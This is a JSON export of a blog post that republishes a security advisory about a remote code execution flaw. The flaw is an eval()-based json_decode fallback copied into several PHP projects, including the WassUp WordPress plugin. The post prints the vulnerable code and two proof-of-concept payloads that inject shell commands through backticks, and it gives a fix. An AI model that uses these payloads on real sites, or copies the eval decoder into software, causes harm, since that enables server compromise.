{"id":26371,"date":"2022-07-01T19:38:45","date_gmt":"2022-07-01T15:38:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167683\/jahx221-exec.txt"},"modified":"2022-07-04T12:06:12","modified_gmt":"2022-07-04T07:36:12","slug":"php-library-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/php-library-remote-code-execution\/","title":{"rendered":"PHP Library Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">JAHx221 &#8211; RCE in copy\/pasted PHP compat libraries, json_decode function<br \/>\n===============================================================================<br \/>\nSeveral PHP compatability libraries contain a potential remote code<br \/>\nexecution<br \/>\nflaw in their `json_decode()` function based on having copy pasted existing<br \/>\nvulnerable code.<\/p>\n<p dir=\"ltr\">Identifiers<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n* JAHx221 &#8211; http:\/\/www.justanotherhacker.com\/advisories\/JAHx221.txt<\/p>\n<p dir=\"ltr\">Affected components<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n* WassUp Realtime analytics wordpress plugin\/compat library &#8211;<br \/>\nhttps:\/\/wordpress.org\/plugins\/wassup\/<br \/>\n* AjaXplorer Core &#8211;<br \/>\nhttps:\/\/pydio.com\/en\/community\/releases\/pydio-core\/ajaxplorer-core-503-released<br \/>\n* FlexoCMS &#8211; https:\/\/github.com\/flexocms\/flexo1.source<br \/>\n* Various code &#8211;<br \/>\nhttps:\/\/github.com\/search?p=6&#038;q=if+function_exists+json_decode+eval+%24out&#038;type=Code<br \/>\n* compat_functions.php &#8211; http:\/\/techfromhel.com<\/p>\n<p dir=\"ltr\">Description<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nThis appears to date back to a compatability library published in 2010 and<br \/>\nappears in several code bases, with no, or a few variations.<\/p>\n<p dir=\"ltr\">The vulnerable code generally share the following characteristic:<br \/>\n* The json_decode function is declared if it does not exist<br \/>\n* some str_replace occurs to transform the json representation to PHP<br \/>\n* eval($out)<\/p>\n<p dir=\"ltr\">Since `eval()` is turing complete, it is generally considered unsafe to use<br \/>\nit<br \/>\non user controlled or user influenced data, however it is unclear if<br \/>\npractical<br \/>\nexploitation would be possible due to the likely presence of an existing<br \/>\njson_decode function.<\/p>\n<p dir=\"ltr\">&#8220;`php<br \/>\n\/**<br \/>\n* compat_functions.php<br \/>\n* Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for<br \/>\n* backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively<br \/>\n* @author: Helene D. &lt;http:\/\/techfromhel.com&gt;<br \/>\n* @version: 0.3 &#8211; 2010-09-13<br \/>\n* @since Wassup 1.8<br \/>\n*\/<\/p>\n<p dir=\"ltr\">\/**<br \/>\n* Convert simple JSON data into a PHP object (default) or associative<br \/>\n* array. Emulates &#8216;json_decode&#8217; function from PHP 5.2+<br \/>\n* @author: Helene Duncker &lt;http:\/\/techfromhel.com&gt;<br \/>\n* @param string,boolean<br \/>\n* @return (array or object)<br \/>\n*\/<br \/>\nif (!function_exists(&#8216;json_decode&#8217;)) {<br \/>\nfunction json_decode($json,$to_array=false) {<br \/>\n$x=false;<br \/>\nif (!empty($json) &amp;&amp; strpos($json,'{&#8220;&#8216;)!==false) {<br \/>\n$out =<br \/>\n&#8216;$x=&#8217;.str_replace(array(&#8216;{&#8216;,'&#8221;:&#8217;,&#8217;}&#8217;),array(&#8216;array(&#8216;,'&#8221;=&gt;&#8217;,&#8217;)&#8217;),$json);<br \/>\neval($out.&#8217;;&#8217;);<br \/>\nif (!$to_array) $x = (object) $x;<br \/>\n}<br \/>\nreturn $x;<br \/>\n} \/\/end function json_decode<br \/>\n}<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">Proof of Concept<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nThe eval can be exploited a number of ways, both via full or partial<br \/>\ncontrol of the json string:<br \/>\n&#8220;`php<br \/>\n\/* Payload<br \/>\n`id`;\/\/{&#8221;<br \/>\n*\/<br \/>\njson_decode(&#8216;`id`;\/\/{&#8220;&#8216;);<br \/>\n&#8220;`<br \/>\nor partially controlled content:<br \/>\n&#8220;`php<br \/>\n\/* Payload<br \/>\n{&#8220;key&#8221;:&#8221;value&#8221;);echo `id`;\/\/&#8221;}<br \/>\n*\/<br \/>\njson_decode(&#8216;{&#8220;key&#8221;:&#8221;value&#8221;);echo `id`;\/\/&#8221;}&#8217;);<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">Credit<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nEldar &#8220;Wireghoul&#8221; Marcussen<\/p>\n<p dir=\"ltr\">Solution<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nEnsure json_decode is present as a native function for your PHP<br \/>\ninstallation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>JAHx221 &#8211; RCE in copy\/pasted PHP compat libraries, json_decode function =============================================================================== Several PHP compatability libraries contain a potential remote code execution flaw in their `json_decode()` function based on having copy pasted existing vulnerable code. Identifiers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; * JAHx221 &#8211; http:\/\/www.justanotherhacker.com\/advisories\/JAHx221.txt Affected components &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; * WassUp Realtime analytics wordpress plugin\/compat library &#8211; https:\/\/wordpress.org\/plugins\/wassup\/ * AjaXplorer Core &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26371","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26371"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26371\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}